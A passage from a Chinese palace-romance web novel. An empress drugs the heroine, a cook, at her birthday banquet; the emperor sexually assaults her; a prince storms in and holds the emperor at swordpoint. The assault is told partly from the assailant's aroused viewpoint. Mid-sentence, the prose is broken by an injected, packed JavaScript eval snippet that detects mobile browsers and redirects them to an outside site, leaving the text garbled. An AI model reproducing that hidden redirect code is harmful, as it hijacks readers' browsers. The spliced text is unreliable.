小太监点头哈腰道:“回梅娘子,宫里头规矩严他们要明日一早入宫,寿宴妥当后便要离开。” 梅映禾点头,“知道了。” 好在都是自己人,彼此配合了那么久早就非常默契了,梅映禾清点物品又盘算了一下所用的食材,将需要提前腌制、处理的食材一一亲自做好,这才净了手离开御膳房。 这一忙就是一整个下午,从御膳房出来的时候天色已经浓稠近墨了,回到芳华阁吃了晚食好好沐浴泡澡后,梅映禾这一晚睡了个踏踏实实的好觉。 第二日一早,周大厨夫妻、张婶儿、小梅和阿十就入宫了,守着翡翠琉璃几个人都规规矩矩,待二人离去这才松了口气。 “托东家的福,咱们也算进过宫见过世面的人了。”周大厨兴奋地笑着,“东家瞧瞧老周这身衣裳可还妥当,是新做的。” 梅映禾一早就看到了大家都穿了新裁制的衣裳,整齐划一还绣了“云来酒楼”的字样,精神又干净。 “不错,好极了。”梅映禾夸赞,“有我的吗。” 张婶儿赶忙拿出一套新的厨师服给她,“东家的怎么少得了。” 几个人简单碰过头便分头各自忙碌,阿十负责洗菜切菜,周大厨负责小炒,张婶儿负责蛋糕胚子,小梅负责给梅映禾打下手,梅映禾掌勺做主菜。 锅碗瓢盆的声音叮叮锵锵地传来,御膳房的厨子们在一旁围观,不禁赞叹: “瞧瞧人家的身手,那叫一个利索。” “是啊,就这么几个人竟能置办宴席,起先我还不信,如今真是开了眼了。” “多亏这梅娘子不愿留在宫里,不然咱们……” 同行之间更多的是欣赏和钦佩。 这次的寿宴梅映禾提前打听了皇后娘娘的口味,比照着娘娘的喜好调整了一些菜肴的味道,基本都是中规中矩的菜,所谓别出心裁的点除了同样有生日蛋糕之外,梅映禾这次特意把蛋糕做成了盛开的牡丹花的样子。 是由她亲自操刀完成的,为此足足练了一个多月呢。 蛋糕被呈上的时候简直艳惊四座,皇后大赞:“太美了,这叫人怎么舍得吃呢。” 至于其他宾客们,梅映禾按位每人奉上一碟小号的蛋糕,也是不同品种颜色的牡丹花的样子,精致又逼真,叫人爱不释手。 因是皇后寿宴,梅映禾减少了适配辛辣酒水的味道浓重的菜,取而代之送上了自己酿的花果酒和适配的偏酸甜口的菜,二者搭配相得益彰。 来宾们对酒水和菜肴赞不绝口,就连皇后也吃得十分开怀。 翡翠当即带来了赏赐,“娘娘对梅娘子的手艺十分满意,食欲大开,过会儿会有陛下和娘娘的赏赐,这一份是娘娘让奴婢单独带来给娘子的,请娘子务必收下。” 梅映禾接过那方红木匣子打开,里头放着一整套纯金镶和田白玉的头面,质地精良精工细雕,在阳光下闪着耀眼的光泽,一看便知价值不菲。 梅映禾知道推辞不掉,只能连声道谢,琉璃笑道:“梅娘子快别客气了,娘娘既认了梅娘子做干妹妹,往后您就是咱们的主子了,还请娘子多多照拂。” 三人寒暄片刻后,梅映禾这才送走了二人。 捧着沉甸甸的头面,心里总觉得有什么不对劲。 无功不受禄啊,只不过做了一餐寿宴,该赏赐的都有为何还会多这一份贵重的礼物呢。 “多好看啊,娘娘可真大方。”小梅在一旁感慨,遂又想起来什么,问道:“你送给娘娘的礼物可准备好了。” 梅映禾为了皇后的寿宴除了精心准备的菜肴外,还特意亲手用花瓣、蜂蜜等调制了一款极细润的手膏,这是她从一个老人家手里要来的秘方,据说流传了几代人了,长期涂抹不但散发淡淡香气,手上皮肤也会变得细白柔嫩,还微微透着浅淡的粉色。 这样的手膏或许在皇后的寿礼中极为不起眼,可这却是梅映禾的心意。 果然,皇后很意外,当即便用了那手膏,清香淡雅的味道让人心旷神怡,再看那细腻的膏体犹如油脂一般莹润剔透。 “真是好东西,这比宫里的手膏都要好呢。”皇后当即便分享给众人,“大家都来试试梅娘子的手艺。” 一小罐手膏被传开,女眷们纷纷尝试,赞叹声此起彼伏。 皇后拉着梅映禾的手道:“我实在喜欢,不如你再多给我做两罐,刚好留下来多陪我两日,咱们好好说说话。” 梅映禾不好拒绝,只得笑着答应。 皇后开心地与众人炫耀着,眼角掠过坐在上首的帝王,二人的眼神心照不宣。 寿宴在午时,下午宾客们散去,梅映禾同自己人一一告别,小梅原想着陪着她留下来待两日,可是翡翠琉璃说:“没有这等规矩,众位先行一步,陛下和娘娘的赏赐随后便到,梅娘子有我二人照料各位尽管放心便是。” 小梅拉着梅映禾的手嘱咐:“凡事小心应对,不行你就一直笑,贵人们提什么要求尽管答应便是,等回来咱们再想办法。好在七哥可以出入宫自由,也算对你有个照应。” 梅映禾一一笑着答应,心里却道,这两日了未曾见过七哥一面,恐怕他也是不方便出入后宫的。 但是这些话没说,她不想平白让嫂嫂担心。 送走了周大厨等人梅映禾回到芳华阁,忙碌过后只余满身的疲惫,听说娘娘在歇息梅映禾便也赶紧沐浴去了,免得一会儿娘娘召见时一身油烟味就不好了。 果然,梅映禾刚刚沐浴更衣后翡翠便来禀报:“娘娘请娘子过去说话。” 梅映禾赶紧浅浅地上了个妆又整理了一下衣裙跟随翡翠往正殿去。 一路上乌云压顶,秋日的天气变得可真快,分明午时还是晴好艳阳的,这会儿看着就要落雨似的。 正殿内燃着烛火,将富丽堂皇的大殿照得金灿灿的,引颈高歌的铜鹤香炉里散发着袅袅香气,让人不由自主地放松了许多。 杨玉芳脱去了华丽的裙袍换上了一身纱制长裙,深紫色的裙衫如天上紫云缥缥缈缈,淡紫色的披帛松松挽于肘间,她半倚在软榻之上,披帛的一端垂落铺散在金色的地面上,如水如烟,似雾似仙。 “民女叩见娘娘。”梅映禾上前恭恭敬敬地行礼。 皇后本微阖的眼皮缓缓掀开,脸上随之露出灿烂的笑,“快起来,都说了以姐妹相称妹妹不必拘礼,来,坐到本宫跟前儿来。” 梅映禾谢过后坐在了杨玉芳的身边,一股恬淡熟悉的香气传来,梅映禾知道自己送给皇后娘娘的手膏她已经用了。 “你怎么还穿着这件旧衣。”皇后看向她身后的翡翠琉璃,声音肃然问:“不是让你们伺候梅娘子更衣吗,本宫送给梅娘子的衣裙你们没送到吗。” 翡翠琉璃赶紧下跪认错,梅映禾也忙起身解释:“是民女不习惯那样华丽的衣裳,这才穿了自己的旧衣,不怪她们的。” 皇后这才恢复了闲适的表情,仔细打量了她后道:“也好,那些衣裳华贵有余却失去了温柔婉约的气韵,本宫想起来今夏本宫似乎做了一件新裙,常嬷嬷你瞧瞧是不是梅娘子穿着刚刚好。” 常嬷嬷赶紧接话:“正是呢,那件衣裳娘娘很喜欢,只是颜色过于靓丽了些娘娘不习惯那样的颜色竟一次也没穿搁置到现在。” “那便快去拿来让我这妹妹试试。”杨玉芳拉起梅映禾的手,“你也不用拘谨,咱们在一处说话没有外人,不就是聊聊女人家的私房话吗,尽管大胆去试,再让她们给你好好打扮打扮。” 梅映禾见推辞不得,只得点头应下。 衣裳被送来,梅映禾眼前一亮。 真是一件宛若仙子的漂亮裙子,胭脂红的长裙配上淡粉色的披帛,上衣的肩颈处用金线绣出点点繁星,点缀了衣裙的华贵又不会喧宾夺主,整件衣裳的料子轻薄通透,却将该遮掩的都遮掩了,刚刚好欲透还羞,引得她一阵脸热。 “娘娘,这件衣裳实在太贵重,民女恐怕……” 梅映禾还想推辞却被杨玉芳拦住了话头,“这里没旁人,我呀年纪大了就喜欢看你们这样的年轻小娘子穿得鲜亮些,快去试试。” 一旁的常嬷嬷也帮着劝:“梅娘子难得娘娘如此看重,你便不要推辞了,你是娘娘请来的贵客,若是叫人看到仍旧穿得这样朴素,恐怕是要落人口实的。” 看来实在没法推辞了,梅映禾只得跟着翡翠琉璃转到隔间去更衣。 衣裙是丝质的,穿在身上轻薄又丝滑,真的是又好看又舒服,梅映禾看着镜中的自己简直判若两人,若不是这件裙子实在太透,她倒是真的想自己做一件来穿。 毕竟是年轻的小娘子,谁不想穿得漂亮呢。 “梅娘子穿这件衣裳真好看。”翡翠在一旁夸赞,又重新替她梳妆打扮了一番。 “是啊,像天上仙子下凡呢。”琉璃蹲在地上帮她整理裙摆。 大大的裙摆铺陈,宛如盛开的花朵绽放,她便是那最柔嫩细弱的花蕊,娇艳明丽。 “母后。” 隔壁传来嘹亮童稚的声音。 梅映禾一愣,翡翠忙解释:“是小殿下过来给娘娘请安了。” “咱们等一等再过去吧。”琉璃道,“小殿下难得过来一趟,让她们母子好好说说话。” 那是自然,梅映禾想,可是为何既是母子却不能常见呢。 大约是看出了她的疑惑,翡翠拉着梅映禾坐下,又递上热茶,“娘娘生小殿下的时候伤了身子,从此便不能再有孩子,小殿下生下来的时候孱弱瘦小,从小到大靠着吃药熬过来的,既是皇家第一个孩子也同样得陛下看重,所以陛下便将小殿下带在身边亲自教导养育。” 五岁的孩子竟不能常见亲生娘亲,还真是可怜。 梅映禾想起了自己,阿爹阿娘去世的时候自己大约也同小殿下一般的年纪吧。 “母后,儿臣恭祝母后寿比南山。” 赵頻恭恭敬敬一板一眼地磕头行礼,华丽的银色衣襟铺在地上,小娃磕了个响头。 “好,頻儿快起身,过来让母后瞧瞧。” 小娃不慌不忙地站起身走过去,这才如同这个年纪的孩童一般扑在母亲怀里。 “母后,孩儿都想你了。”小娃稚嫩的声音传来,“今日母后生辰,孩儿特意带了生辰贺礼。” 外殿响起极轻的脚步声,就听小娃道:“这是按照规矩孩儿送给母亲的玉雕,是精工巧匠们耗时三年雕琢而成。” 小娃说完换了一种近乎撒娇的声音,又道:“孩儿还有一件自己做的小礼物送给母后。” 杨玉芳实在惊喜,含着眼泪催促:“是什么,快拿出来给母后瞧瞧。” 赵頻从怀中掏出一个 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她没多说,可是那落寞的眼神让人觉得心疼。 难道皇后的生辰陛下不会过来陪伴吗,梅映禾心里有疑问却知不该问,便点了点头:“承蒙娘娘厚爱,晚上民女就陪娘娘小酌一杯。” “如此甚好。”皇后杨玉芳笑得开怀。 吩咐人去准备又仔仔细细地打量了梅映禾,问:“不知你这庖厨的手艺究竟是谁教的。” 对于梅映禾的底细杨玉芳其实早就命人仔细查过,可是她的身世太过清白干净了,什么都查不到。 梅映禾道:“都是自己从小爱吃便摸索着做的,家里父母双亲去世得早,没什么人会教我。” 皇后慢慢点了点头,“小小年纪真是难为你了,听说梅九筹是你的哥哥。” “是。”梅映禾笑答,“亲哥哥,承蒙晋王殿下提拔,陛下赐了哥哥副统领的官职,也算圆了他的梦了。” 皇后默默点头,“你们兄妹都是好样的,各有各的过人之处,那位梅统领本宫见过是条刚硬的汉子,有勇有谋忠肝义胆,将来前途不可限量。” 梅映禾听闻此言,欣喜不已,忙道:“多谢娘娘谬赞。” 杨玉芳又笑了笑,“可是你哥哥身形高大,样貌端正却粗犷许多,你却如此娇小可人,看着竟都不像京城的,倒有几分江南水乡的婉约气韵。” 其实莫说赵怀风,杨玉芳第一次见到梅映禾也是一愣,让她想起了一位故人。 “哥哥长得像我阿爹,我更像阿娘。” 皇后和常嬷嬷对视了一眼,笑道:“难怪呢,本宫猜想你的阿娘一定是个美人。” 说起阿娘梅映禾心里一阵温暖,“是,我觉得我阿娘很美。” 说完抬起头看着皇后杨玉芳,道:“在每个孩子心里,自己的阿娘都是天底下最美的美人。” 这话说得情真意切,杨玉芳的表情似乎微微顿住了一瞬,笑着点了点头,“是啊,頻儿也总说本宫是天底下最美的女子。” 说起孩子,每个母亲的脸上都是温柔的笑,皇后娘娘亦是如此。 这时御膳房送来了晚膳,还有梅映禾自己酿制的甜酒。 二人对坐,梅映禾也不拘谨起身为皇后添酒。 边吃边聊,话题从今日的寿宴聊到厨艺的技巧,从作为女儿的梅映禾聊到皇后娘娘的小殿下,梅映禾知道那是一个少年老成稳重克己的小娃。 “皇家的子孙身不由己,许多事躲不过只能迎上去。”皇后饮尽了杯中酒,问:“不知梅娘子可有婚约。” 梅映禾摇头,“尚未。” 皇后听闻默默在心里叹了一口气,再抬眸时仍是那张明艳妩媚的笑颜:“梅娘子这样的人才合该好好挑拣,切不可将自己浪费了,本宫听说你的心上人是晋王殿下,此事可是当真。” 不知是甜酒的作用还是说起了七哥,梅映禾的面颊上泛起浅淡的红晕,羞涩地点了点头。 这事并不是什么不可告人的秘密,七哥说过或许他的兄嫂早就知道了。 杨玉芳并不惊讶,只点了点头,问:“算是个不错的归宿。” 这话并未说完,梅映禾没察觉异样。 “你能选择好的栖息之地是人之本能,晋王殿下龙章凤姿一表人才,论文韬武略都是一等一的好,又是皇家儿郎,富贵无边。” 哦,原来娘娘是误会了她选择了一个多金的大靠山,梅映禾刚想解释却被皇后的话拦住了。 “不过本宫瞧着你或许有更好的选择。” 梅映禾:…… “既然都选到皇家来了,何不一步到位,同本宫做了名正言顺的姐妹,共同服侍陛下,岂不是更富贵无边。” “娘娘。”梅映禾忙起身跪下,正色道:“民女同晋王殿下相识的时候并不知其身份,民女也曾想过自己同殿下并不般配,可是殿下的感情是真挚的,民女亦然。民女看重的是殿下的人品和性情,绝非其他,让娘娘误会了。” 皇后并未否定她,只递过来一杯酒,问:“那若是现在重新选择,你会如何。” 梅映禾想都没想,“自然仍是晋王殿下。” “那若是他一无所有呢。” 梅映禾生咽下一口唾沫,坚定道:“晋王殿下。” 皇后靠坐在椅背上,顿了顿才笑道:“不过给你开个玩笑,你这孩子怎得这般认真,吓得脸都白了,快起来,喝口酒暖暖身子。” 梅映禾不明所以,仍旧跪在地上不敢起身。 杨玉芳这才起身扶起她,“行了,本宫不过顺嘴一问罢了,知道你们两个都是痴情种子,不会再吓你了,本宫也是替云策高兴,能娶到你是他的福气。” 梅映禾只觉得自己的胸腔内怦怦直跳,不知是方才被吓到了还是酒精的作用。 按理说这是自己酿的酒,能不能喝醉她心里是有数的,今日究竟怎么回事。 眼前逐渐模糊,面颊发热滚烫,梅映禾觉得头晕目眩,连皇后娘娘说了什么都听不清楚了,整个人跌坐在椅子里浑身酸软无力,昏昏欲睡。 就在即将阖眼的时候,仿佛看到了一个高大挺拔的人影,看不清容貌只能闻到那浅淡的龙涎香和绣着龙纹的明黄色衣袍…… 89. 反目 窗外一片墨色不辨黑白,一阵风倏然刮进殿内,吹灭了几盏烛火,阴鸷了一个下午的天气终于在晚间下起了大雨。 暴雨来的突然且急骤,硕大的雨点砸在宽叶上,发出噼里啪啦的响声,传入安静的宫殿内显得格外聒噪。 赵怀风看着眼前半昏迷的梅映禾,微微皱起眉头: “皇后怎的将人灌醉了。” 这还如何行事。 杨玉芳抬头看着面前熟悉又陌生的那张脸,曾几何时她们也无话不谈亲密无间,那些年彼此眼里只有对方,不知从何时起竟变成了这样。 真是世事难料啊。 瞥见皇后嘲笑的一抹眼神,赵怀风不悦道:“皇后如今见了朕竟连装都不装了吗,朕站在这里你竟还能安然端坐。” “陛下怕是忘了,你答应臣妾的东西还没给呢。” 杨玉芳仍未起身,收回落在赵怀风身上的眼神,一只手擎着杯盏就着最近的烛火端看杯中佳酿的色泽,“真是好酒,梅娘子手艺的确不错。” 赵怀风扫了一眼桌上的酒壶,这是梅映禾自己酿的酒,怎么也能喝醉? “你在酒里放了什么。” 帝王低沉的声线带着毫不掩饰的不悦,本就冷肃的一张脸越发难看。 “陛下不必担心,臣妾也是为了陛下好。”皇后的声音轻飘飘的,听上去极为讽刺,“毕竟梅娘子心里有人了,再装不下陛下了,不使点手段陛下要如何得手。” 对于梅映禾和赵行之的事帝后皆已查到,杨玉芳初闻颇为吃惊,这么多年可以说她是看着赵行之长大的,这位小王爷不近女色脾气古怪,竟也有心上人。 正如方才试探梅映禾的想法一样,杨玉芳觉得一定是梅映禾仗着自己有几分姿色主动攀附赵行之,以图荣华富贵。 可是方才小娘子的态度让她推翻了这个想法。 梅映禾很坚定,坚定得有些害怕,害怕失去赵行之更害怕同帝王扯上关系。 那是一双与所有人都不同的眼睛,纯澈清明不含杂质,那双眼里只有真情与爱意,在说到与帝王为妃的时候,那双好看的杏眸中透出的恐惧和绝望是掩藏不住做不得假的。 杨玉芳第一次知道,原来天下真的有与她们都不同的女子,一个视皇权、帝王于无物的单纯的姑娘。 “哼。” 杨玉芳听到了赵怀风自鼻腔发出的轻蔑的声音,不自觉笑了笑。 她太熟悉这个声音了,这些年她们二人鲜少的几次碰面,他总是这样的态度,充满了不屑和鄙夷却又奈何不得她。 “梅娘子人美心善眼睛也是雪亮的。”杨玉芳起身走到梅映禾身边,伸出手帮她捋顺披散在身后泼墨般的长发,“晋王殿下风姿俊秀年少气盛,自然血气方刚身手不凡,与这样鲜活的人在一起定是愉悦满足的。” 女人的声音透着玩味和轻浮,那种上扬的尾音似乎在品味某种不可言说的愉悦。 这种语调在男人听来却是极尽羞辱。 果然,帝王盛怒,倏然抓住杨玉芳的手臂将人带至眼前。 女人因为被铁掌紧紧箍住了手臂而吃痛呵斥:“陛下这是要打臣妾吗。” 二人面对面站着,面红耳赤怒目对视,片刻后赵怀风逐渐冷静下来,猛然甩开杨玉芳的手臂,女人被大力推开往后趔趄了两步扶住桌角才堪堪站稳。 “还请皇后慎言。”赵怀风嫌弃地掸平自己的衣袖,“你究竟给她吃了什么。” 杨玉芳扶正自己的发髻,正了正衣襟道:“梅娘子心里只有云策并无陛下,臣妾说得很清楚,无奈,梅娘子是个重感情的人,即便是高高在上的帝王在她眼里也不及晋王殿下半分,臣妾谨记陛下的吩咐,不得已才给她用了些安睡之物。” 看着赵怀风的面色逐渐平稳下来,杨玉芳说不出心里是什么感觉,难过、鄙视,或许还有不甘。 “陛下放心,臣妾用药从来都有分寸,不会伤了陛下心爱之人的玉体。” 这话含着醋劲,倒是让赵怀风逮住了话锋。 “曾几何时皇后是朕最珍视的心爱之人。”帝王挪动步伐朝着窗口走去,外头暴雨如注肆无忌惮地浇灌着天地。 “只可惜,如今的皇后变得阴狠算计,早已不是当初那个单纯天真的芳儿了。” 似是回忆过往的种种美好,帝王的侧颜露出难得一见的温柔笑容,看得杨玉芳心口一阵剧痛。 “陛下如此说臣妾实在不敢当。”杨玉芳抹去眼角即将垂落的一滴泪,正色道:“也是陛下违背誓言在先,将那么多的女子充入后宫夜夜临幸甚至一夜多人不成体统,臣妾也不会对陛下死心绝望。” “朕早就跟你说过了,那都是逢场做戏,朝堂后宫牵连众多,若想平衡关系朕也是不得已而为之。”赵怀风面色发红据理力争。 “呵,那还真是难为陛下了。”杨玉芳不为所动,“那姚贵妃敢在臣妾面前飞扬跋扈多次挑衅,伙同李娴妃二人害死臣妾腹中胎儿……” 说到伤心处,杨玉芳有些气息不稳,“那可是两个双生子,胎已成型了啊……” 终于,泪珠簌簌落下,杨玉芳哭得泣不成声。 也正是那一次险些让她丧命,虽活了过来却失去了两个孩子且再无孕育的可能。 “没有陛下的娇宠她们怎么敢,陛下,那是您的亲生骨肉,您难道不心疼吗。” 杨玉芳双眼通红质问赵怀风。 “皇后也不遑多让,二妃已逝,朕从那之后也再无子嗣出生。”赵怀风的声音有些哽咽,“皇后害得皇家枝叶凋零子嗣单薄,朕都未曾撼动皇后地位半分,这难道还不够朕赎罪的吗。” “不够。”杨玉芳声嘶力竭,“她们所有人的命加起来都不够抵我的两个孩子……” 狂风暴雨之后的片刻宁静,也只停息了寸缕,风雨依旧,虽不再狂暴却连绵不止。 “来人。”赵怀风先稳住情绪,踱步至殿中央,“皇后身体不适,扶皇后去朕的寝宫休息。” 这里是皇后的居所,也是帝王赐予的荣耀。 普天之下,莫非王土。杨玉芳愤愤道:“不必了,臣妾怕贱躯污了陛下的龙榻,还是去芳华阁自省了。” “慢着,这是你要的东西。”赵怀风自怀中掏出一道圣旨扔在了桌上。 那是杨玉芳一直想要得到的,立赵頻为太子的圣旨。 终于,终于拿到了。杨玉芳的心在那一瞬安然落定。 “臣妾多谢陛下。”说完,也不让宫女搀扶,杨玉芳整理了衣衫鬓发昂首挺胸地迈入雨中。 雨水有节奏地落下,这样的雨夜催人入眠。 此刻,梅映禾正睡得安稳。 身体不听使唤地绵软无力,脑筋仍保留一丝浅浅的清醒。 混乱,太混乱了。 皇后的寿宴,娘娘的赏赐,一身华丽诱人的衣裙,还有甜如蜜浆的酒水……这些混杂着争吵声和一袭明黄色的龙袍,时不时唤醒她的意识。 这是在哪里,究竟发生了什么。 梅映禾拼尽全力强撑着抬起头,脑袋沉沉如注了铁块,眼前模糊一片,辨不清人影和方向。 她想起身,可是试了几次都站不起来。 “坐着别动。” 一个男人的声音传来,是谁在他身边。 腰肢被温热的大掌扶住,男人身上浅淡的龙涎香再次传来。 不是熟悉的清新的味道,这是……梅映禾强撑着自己想要离开那个人的手心,可是任凭她如何挣扎都无法摆脱。 “你是谁,我,我要回家。” 小娘子的声音带着酒后的醉意和娇俏的怯懦,听上去似是在勾起男人某种本能的欲望,娇滴滴的让人欲罢不能。 “你先坐下来喝口水。” 赵怀风想扶着梅映禾坐下,可是小娘子太过倔强,硬是拉扯着他的袖袍似乎想要辨清他的样貌。 那双擎满泪水的双眼湿漉漉的,带着如受惊小兽一般的惊恐和不安,又透着一股清冷的倔强,落入赵怀风眼中更是风情万种夺魂摄魄。 “梅娘子。”赵怀风的嗓音变得沙哑,“做朕的女人吧,朕会给你无上荣华富贵和你想要的一切,朕会好好疼你爱你,视你如珠如玉。” 帝王难得的甜言蜜语却是发自内心肺腑。 多久了,连赵怀风自己都不记得了,多少年未曾有过这种心动的感觉了。 后宫佳丽如云,正如杨玉芳所言,帝王几乎夜夜不知疲倦,但只有赵怀风自己知道那种感觉甚是疲惫。 激情兴奋过后是无尽的忧伤和落寞,宛如陷入黑洞洞的无底深渊,让他自责、难过,却仍挡不住第二日的重复。 没有感情,他早就变成了一个连动物都不如的机器。 直到见到了眼前的人。 竟奇迹般地唤醒了他沉睡多年的灵魂,那种澎湃、紧张和疯狂地想要占有的欲念挥之不去愈演愈烈。 自问,对眼前这个小女子的感情是真挚和热烈的,作为最尊贵的帝王,他可以不介意她已心有所属,仍愿纡尊降贵讨好她。 面对梅映禾的抗拒,赵怀风越发兴奋起来。 男女力气本就天差地别,赵怀风足足高了梅映禾一个头。 小娘子娇小柔软的身躯在怀中挣扎,好似撒娇的猫儿在给他挠痒痒。 隔着轻薄的纱裙,少女玲珑的身形若隐若现,雪肤在灯火的映衬之下如羊脂玉般光滑细腻,触手丝滑柔嫩,透过指尖让赵怀风全身站立。 “你是……”这样近的距离,小娘子似乎看清了他的脸,“陛下。” 赵怀风吞咽了一口吐沫,想回答她却说不出话,此刻的帝王口干舌燥浑身发烫,小腹之下紧绷的感觉又回来了,那种让男人自信的力量给了他莫大的鼓舞和勇气。 “我,不能……” “陛下……” “不要……” 小娘子的反抗越发激起了男人的欲望,心中的火热和全身的亢奋让赵怀风好似找到了那种久违了的感觉。 一阵风吹入殿内,烛火灼灼跳跃,映在他猩红的双眼中,将眸中的人影包裹着,好似饿极了的猛兽看到了最心仪的猎物。 小娘子的反抗是徒劳的,赵怀风也不再等待,一把扯下自己的玉带脱去明黄色的锦袍,云间的盘龙坠落在冰冷的地面上,被他踩在了脚下。 小娘子衣衫单薄,华贵的衣料在“滋啦”一声刺耳的破碎声中滑落,叠在龙袍之上,淡淡的粉色覆盖着明黄色的龙袍,在烛火下越发旖旎瑰丽。 罩衫被扯掉,一阵冷风沁透骨缝,梅映禾清醒了许多。 睁开双目看到的是一张熟悉又陌生的脸,龙涎香正包裹着她,双肩被男人的大手牢牢抓住,再看自己却只剩下抹胸和长裙。 “陛下,放开我。” 梅映禾拼尽全力挣扎,可药力实在太大,她的那点儿力气在赵怀风手里起不到任何作用。 “这是怎么回事,你们……”梅映禾终于明白过来,“堂堂帝后竟用这种下作的方法蒙骗于我,你们……” 她声嘶力竭,喊叫的声音很大透过风雨传至殿外。 赵怀风的耐性也已经到达了极限,一掌刀劈在梅映禾的颈窝处,小娘子瞬时瘫软倒在他的怀里。 烛火跃动不止,赵怀风将人打横抱起踩着薄纱和龙袍朝着床榻走去。 手中的小娘子是柔软细滑的,浑身还散发着香甜诱人的气息,帘帐被放下,赵怀风抱紧了怀中的珍宝…… 这注定是一个风雨飘摇的夜晚,风吹雨打,好似老天在发飙。 夜雨下一个疯狂着急的身影匆匆入宫。 那一日梅映禾见过帝后赵行之便想找皇兄将一切说清楚,可是临近皇嫂生辰,李太监说:“这几日陛下难得陪伴娘娘,王爷有什么事不如等寿宴之后再说。” 如此,赵行之便只得作罢,心里想着,好在这几日皇兄都会同皇嫂一处,真有什么想法也会等到皇嫂的寿宴结束。 虽紧张却也知道目下小早是安全的。 可是今日寿宴结束后,他眼睁睁看着小梅周大厨他们离开皇宫,听说小早又被皇嫂留在宫中,晋王殿下一颗悬着的心又提了起来。 午宴过后赵行之再次求见皇兄,李太监说陛下这几日乏累正在御书房内歇息,赵行之没有离去便等在殿外。 可是一直等到晚间仍旧不见皇兄醒来,一问才知又是去了皇后宫中,说是今日皇后生辰,晚膳帝后单独用餐。 一切合情合理却总让他心中忐忑眼皮直跳。 跑去皇后宫中打听才知梅映禾被安排在芳华阁休息,夜间烛火将人影照到窗户上,赵行之似乎看到了二楼有一抹熟悉的女子身影正坐在妆奁前拆发。 应当就是小早,无事发生便是好的。 赵行之站在雨中看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976122|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半晌,直到芳华阁灯火俱灭才转身离开。 可是脚步却在宫门口顿住,一直都觉得哪里不对劲,赵行之突然想明白了,那灯火照映出的身影并不是小早。 小早从不会将自己打扮得珠翠满头,那女子分明妆扮得十分艳丽华贵,之所以让他看着眼熟是因为那女子是他的皇嫂杨玉芳。 皇后娘娘本应在寝殿就寝,为何会跑到芳华阁歇息,那原本应该在芳华阁的梅映禾又在哪里,皇后寝宫明明烛火灼灼,那里面又是谁…… 一连串的问题砸向赵行之,空中一道静默的闪电照亮了他被雨水浇透的脸。 一切已经很分明了。 “带着这个去调兵即刻入宫,若是有人阻拦格杀勿论。” 赵行之将手里的兵符交给了佑安,“若是我有不测,兵符交到梅九筹手中,一切由他自行做主。” 他是手握五万铁甲军的将军,兵符从不离身,今日怕是要有一场血战了。 夜雨中,一道身影如鬼魅一般疾行在宫中的房檐屋脊之上,片刻便又回到了皇后的寝殿门口。 所有的宫人都等在门外,赵行之一眼就看到了李太监。 “王爷,您,您怎么来了。” 李太监眼疾手快上前想要拦住赵行之的步伐,却被他一把抓住衣领将人拎了起来。 “皇兄为何在此处?” 他双眼燃着怒火额上青筋直暴,好似下一瞬便能吃人。 “陛下,陛下是来陪娘娘的。”李太监仍是那套说辞,“今日是娘娘生辰,陛下理应……” 赵行之懒得听他废话,一用力将人直接扔下阶梯倒在雨中。 李太监被摔的“哎哟”一声,尝试几次怎么都爬不起来,身边的小太监小宫女再无人敢拦,赵行之一脚踹开殿门。 一股浓重的酒气扑面而来,其中夹杂着浅淡的龙涎香和苦药的味道。 灼灼的灯火将大殿照得通明,让他的双眼适应了一瞬才看到满殿狼藉,破碎的龙袍和粉纱铺陈在地上,交缠在一起,让他心口一窒。 近在眼前的床榻上,纱帘后男人直起身一把扯掉帐帘。 映入赵行之眼前的是衣衫破碎鬓发散乱昏迷不醒的小早,和同样萎靡混乱的皇兄。 在返回的路上赵行之阻止自己的大脑去思考,他不愿最担心的事情发生在眼前。 小早是他的,谁都不能侵犯她。若是她真的出了什么事,赵行之一定不会放过自己,是他没有保护好她,是他将小早推荐到皇兄面前的,也是他这几日的疏忽和愚蠢才导致了小早的劫难…… 可是或许一切都是他的想象呢,或许这一切并不会发生。 眼前一幕让他惊恐、愤怒,担惊受怕牵肠挂肚的人此刻正在遭受别人的伤害。 “擅闯皇后寝宫,云策你想做甚。” 赵怀风拿出帝王的威严,责问的语气带着盛怒。 “皇兄在作甚,为何要这样欺负小早。” 赵行之拔剑砍去垂坠的纱帘,不顾周身的雨水已经沁透身体,将梅映禾裹在薄衾之中,紧紧抱进怀里。 “云策,你……” 赵怀风想要去抢夺,却被赵行之的长剑直指咽喉。 他抬起头,含泪通红的双眼直直瞪向赵怀风,眸中怒火滔天,“你为什么要这样。” 声音嘶哑,赵行之发疯了。 “你这是弑君之罪。”赵怀风不敢动弹,试图用罪名去压制他。 “你为什么一而再再而三地伤害我。”赵行之已经完全失去了理智,“你明明知道她和我情投意合,却仍旧要抢夺我最心爱的人,这些年我忍你太久了。” “赵行之,你莫要放肆。”赵怀风在利剑的威逼下一步步后退。 面前的人好似一头发怒的雄狮,让他不敢轻举妄动。 寒铁摩擦喉咙的皮肤,冰冷得让人战栗,好似下一瞬就能刺穿他的喉咙血溅当场。 “云策你冷静。”赵怀风试图劝说他拖延时间,“为了一个女子你要同皇兄反目成仇,值得吗。” 赵行之放下仍旧昏睡的梅映禾,举剑一步步紧逼赵怀风,直至将人逼入墙角。 “在皇兄眼里,什么才值得。” 他早就应该看清楚,今日的皇兄早已不是那个曾经爱护他的兄长,坐在那样的高位上,他早已变成了没有人性的野兽。 夜雨急骤,兄弟二人怒目对视。 倏然,禁军闯入殿内,是李太监搬来了救兵。 被身穿甲胄拈弓搭箭朝着自己的禁军包围着,赵行之的剑却进一步逼近赵怀风的咽喉。 一股鲜红的血如注流出,染红了赵怀风白色的中衣领也染红了赵行之的长剑。 “陛下,王爷不可啊。”李太监试图劝阻,禁军头领已经快一步将躺在床上昏迷不醒的梅映禾挟制住了。 “放开她。”赵行之一把拉过赵怀风,钳制住他的喉咙,长剑指向朝他一步步逼近的禁卫军,“放开梅映禾。” 静默,殿内无人发出一点儿声响,只闻雨水扑簌簌落下的声音。 